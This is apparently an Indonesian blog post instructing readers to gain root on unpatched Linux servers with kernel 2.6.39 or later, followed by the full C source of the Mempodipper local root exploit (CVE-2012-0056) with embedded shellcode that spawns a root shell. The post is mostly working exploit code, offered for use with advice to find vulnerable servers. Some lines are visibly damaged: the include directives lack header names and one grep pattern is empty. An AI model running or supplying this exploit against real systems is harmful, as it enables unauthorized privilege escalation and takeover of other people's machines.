Localroot Linux Exploit =>2.6.39

Berikut adalah step-by-step cara melakukan root / ngeroot di dalam semua linux dengan kernel mulai dari 2.6.39 ke atas. Sudah lama tidak melakukan root’ing bukan, cara melakukannya adalah
1. Cari server dengan kernel 2.6.39 keatas yang belum di patch
2. Compile source code localroot exploit dengan menggunakan gcc
3. Jalankan localroot exploit


Berikut codenya untuk localroot exploit:

/*
 * Mempodipper
 * by zx2c4
 *
 * Linux Local Root Exploit
 *
 * Rather than put my write up here, per usual, this time I've put it
 * in a rather lengthy blog post: http://blog.zx2c4.com/749
 *
 * Enjoy.
 *
 * - zx2c4
 * Jan 21, 2012
 *
 * CVE-2012-0056
 */

#define _LARGEFILE64_SOURCE
#define _GNU_SOURCE
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include

char *prog_name;

int send_fd(int sock, int fd)
{
    char buf[1];
    struct iovec iov;
    struct msghdr msg;
    struct cmsghdr *cmsg;
    int n;
    char cms[CMSG_SPACE(sizeof(int))];

    buf[0] = 0;
    iov.iov_base = buf;
    iov.iov_len = 1;

    memset(&msg, 0, sizeof msg);
    msg.msg_iov = &iov;
    msg.msg_iovlen = 1;
    msg.msg_control = (caddr_t)cms;
    msg.msg_controllen = CMSG_LEN(sizeof(int));

    cmsg = CMSG_FIRSTHDR(&msg);
    cmsg->cmsg_len = CMSG_LEN(sizeof(int));
    cmsg->cmsg_level = SOL_SOCKET;
    cmsg->cmsg_type = SCM_RIGHTS;
    memmove(CMSG_DATA(cmsg), &fd, sizeof(int));

    if ((n = sendmsg(sock, &msg, 0)) != iov.iov_len)
        return -1;
    close(sock);
    return 0;
}

int recv_fd(int sock)
{
    int n;
    int fd;
    char buf[1];
    struct iovec iov;
    struct msghdr msg;
    struct cmsghdr *cmsg;
    char cms[CMSG_SPACE(sizeof(int))];
   
    iov.iov_base = buf;
    iov.iov_len = 1;

    memset(&msg, 0, sizeof msg);
    msg.msg_name = 0;
    msg.msg_namelen = 0;
    msg.msg_iov = &iov;
    msg.msg_iovlen = 1;

    msg.msg_control = (caddr_t)cms;
    msg.msg_controllen = sizeof cms;

    if ((n = recvmsg(sock, &msg, 0)) < 0)
        return -1;
    if (n == 0)
        return -1;
    cmsg = CMSG_FIRSTHDR(&msg);
    memmove(&fd, CMSG_DATA(cmsg), sizeof(int));
    close(sock);
    return fd;
}

unsigned long ptrace_address()
{
    int fd[2];
    printf("[+] Creating ptrace pipe.\n");
    pipe(fd);
    fcntl(fd[0], F_SETFL, O_NONBLOCK);

    printf("[+] Forking ptrace child.\n");
    int child = fork();
    if (child) {
        close(fd[1]);
        char buf;
        printf("[+] Waiting for ptraced child to give output on syscalls.\n");
        for (;;) {
            wait(NULL);
            if (read(fd[0], &buf, 1) > 0)
                break;
            ptrace(PTRACE_SYSCALL, child, NULL, NULL);
        }
       
        printf("[+] Error message written. Single stepping to find address.\n");
        struct user_regs_struct regs;
        for (;;) {
            ptrace(PTRACE_SINGLESTEP, child, NULL, NULL);
            wait(NULL);
            ptrace(PTRACE_GETREGS, child, NULL, &regs);
#if defined(__i386__)
#define instruction_pointer regs.eip
#define upper_bound 0xb0000000
#elif defined(__x86_64__)
#define instruction_pointer regs.rip
#define upper_bound 0x700000000000
#else
#error "That platform is not supported."
#endif
            if (instruction_pointer < upper_bound) {
                unsigned long instruction = ptrace(PTRACE_PEEKTEXT, child, instruction_pointer, NULL);
                if ((instruction & 0xffff) == 0x25ff /* jmp r/m32 */)
                    return instruction_pointer;
            }
        }
    } else {
        printf("[+] Ptrace_traceme'ing process.\n");
        if (ptrace(PTRACE_TRACEME, 0, NULL, NULL) < 0) {
            perror("[-] ptrace");
            return 0;
        }
        close(fd[0]);
        dup2(fd[1], 2);
        execl("/bin/su", "su", "not-a-valid-user", NULL);
    }
    return 0;
}

unsigned long objdump_address()
{
    FILE *command = popen("objdump -d /bin/su|grep ''|head -n 1|cut -d ' ' -f 1|sed 's/^[0]*\\([^0]*\\)/0x\\1/'", "r");
    if (!command) {
        perror("[-] popen");
        return 0;
    }
    char result[32];
    fgets(result, 32, command);
    pclose(command);
    return strtoul(result, NULL, 16);
}

unsigned long find_address()
{
    printf("[+] Ptracing su to find next instruction without reading binary.\n");
    unsigned long address = ptrace_address();
    if (!address) {
        printf("[-] Ptrace failed.\n");
        printf("[+] Reading su binary with objdump to find exit@plt.\n");
        address = objdump_address();
        if (address == ULONG_MAX || !address) {
            printf("[-] Could not resolve /bin/su. Specify the exit@plt function address manually.\n");
            printf("[-] Usage: %s -o ADDRESS\n[-] Example: %s -o 0x402178\n", prog_name, prog_name);
            exit(-1);
        }
    }
    printf("[+] Resolved call address to 0x%lx.\n", address);
    return address;
}

int su_padding()
{
    printf("[+] Calculating su padding.\n");
    FILE *command = popen("/bin/su this-user-does-not-exist 2>&1", "r");
    if (!command) {
        perror("[-] popen");
        exit(1);
    }
    char result[256];
    fgets(result, 256, command);
    pclose(command);
    return strstr(result, "this-user-does-not-exist") - result;
}

int child(int sock)
{
    char parent_mem[256];
    sprintf(parent_mem, "/proc/%d/mem", getppid());
    printf("[+] Opening parent mem %s in child.\n", parent_mem);
    int fd = open(parent_mem, O_RDWR);
    if (fd < 0) {
        perror("[-] open");
        return 1;
    }
    printf("[+] Sending fd %d to parent.\n", fd);
    send_fd(sock, fd);
    return 0;
}

int parent(unsigned long address)
{
    int sockets[2];
    printf("[+] Opening socketpair.\n");
    if (socketpair(AF_UNIX, SOCK_STREAM, 0, sockets) < 0) {
        perror("[-] socketpair");
        return 1;
    }
    if (fork()) {
        printf("[+] Waiting for transferred fd in parent.\n");
        int fd = recv_fd(sockets[1]);
        printf("[+] Received fd at %d.\n", fd);
        if (fd < 0) {
            perror("[-] recv_fd");
            return 1;
        }
        printf("[+] Assigning fd %d to stderr.\n", fd);
        dup2(2, 15);
        dup2(fd, 2);

        unsigned long offset = address - su_padding();
        printf("[+] Seeking to offset 0x%lx.\n", offset);
        lseek64(fd, offset, SEEK_SET);
       
#if defined(__i386__)
        // See shellcode-32.s in this package for the source.
        char shellcode[] =
            "\x31\xdb\xb0\x17\xcd\x80\x31\xdb\xb0\x2e\xcd\x80\x31\xc9\xb3"
            "\x0f\xb1\x02\xb0\x3f\xcd\x80\x31\xc0\x50\x68\x6e\x2f\x73\x68"
            "\x68\x2f\x2f\x62\x69\x89\xe3\x31\xd2\x66\xba\x2d\x69\x52\x89"
            "\xe0\x31\xd2\x52\x50\x53\x89\xe1\x31\xd2\x31\xc0\xb0\x0b\xcd"
            "\x80";
#elif defined(__x86_64__)
        // See shellcode-64.s in this package for the source.
        char shellcode[] =
            "\x48\x31\xff\xb0\x69\x0f\x05\x48\x31\xff\xb0\x6a\x0f\x05\x48"
            "\x31\xf6\x40\xb7\x0f\x40\xb6\x02\xb0\x21\x0f\x05\x48\xbb\x2f"
            "\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7"
            "\x48\x31\xdb\x66\xbb\x2d\x69\x53\x48\x89\xe1\x48\x31\xc0\x50"
            "\x51\x57\x48\x89\xe6\x48\x31\xd2\xb0\x3b\x0f\x05";
#else
#error "That platform is not supported."
#endif
        printf("[+] Executing su with shellcode.\n");
        execl("/bin/su", "su", shellcode, NULL);
    } else {
        char sock[32];
        sprintf(sock, "%d", sockets[0]);
        printf("[+] Executing child from child fork.\n");
        execl("/proc/self/exe", prog_name, "-c", sock, NULL);
    }
    return 0;
}

int main(int argc, char **argv)
{
    prog_name = argv[0];
   
    if (argc > 2 && argv[1][0] == '-' && argv[1][1] == 'c')
        return child(atoi(argv[2]));
   
    printf("===============================\n");
    printf("=          Mempodipper        =\n");
    printf("=           by zx2c4          =\n");
    printf("=         Jan 21, 2012        =\n");
    printf("===============================\n\n");
   
    if (argc > 2 && argv[1][0] == '-' && argv[1][1] == 'o')
        return parent(strtoul(argv[2], NULL, 16));
    else
        return parent(find_address());
   
}

Selamat anda sudah mendapatkan akses root, nah kalau sudah dapat root jangan lupa tinggalkan komentarnya. :)